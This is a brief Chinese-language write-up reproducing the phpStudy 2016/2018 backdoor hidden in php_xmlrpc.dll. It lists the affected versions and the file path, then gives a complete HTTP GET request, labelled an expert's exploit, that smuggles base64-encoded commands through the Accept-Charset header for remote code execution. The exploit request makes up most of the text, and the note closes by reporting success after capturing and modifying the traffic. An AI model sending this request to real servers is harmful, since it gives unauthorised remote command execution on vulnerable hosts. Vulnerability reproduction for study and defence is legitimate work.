复现phpstudy2018后门漏洞

影响版本

phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45

后门分析

地址：C:\phpStudy\PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll

本地复现

phpstudy版本	php版本
2018	5.2.17

大佬的exp

GET /index.php HTTP/1.1
Host: yourip.com
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip,deflate
Accept-Charset:这里就是你要执行的代码命令（经过base64加密）
Accept-Language: zh-CN,zh;q=0.9
Connection: close

抓包修改

成功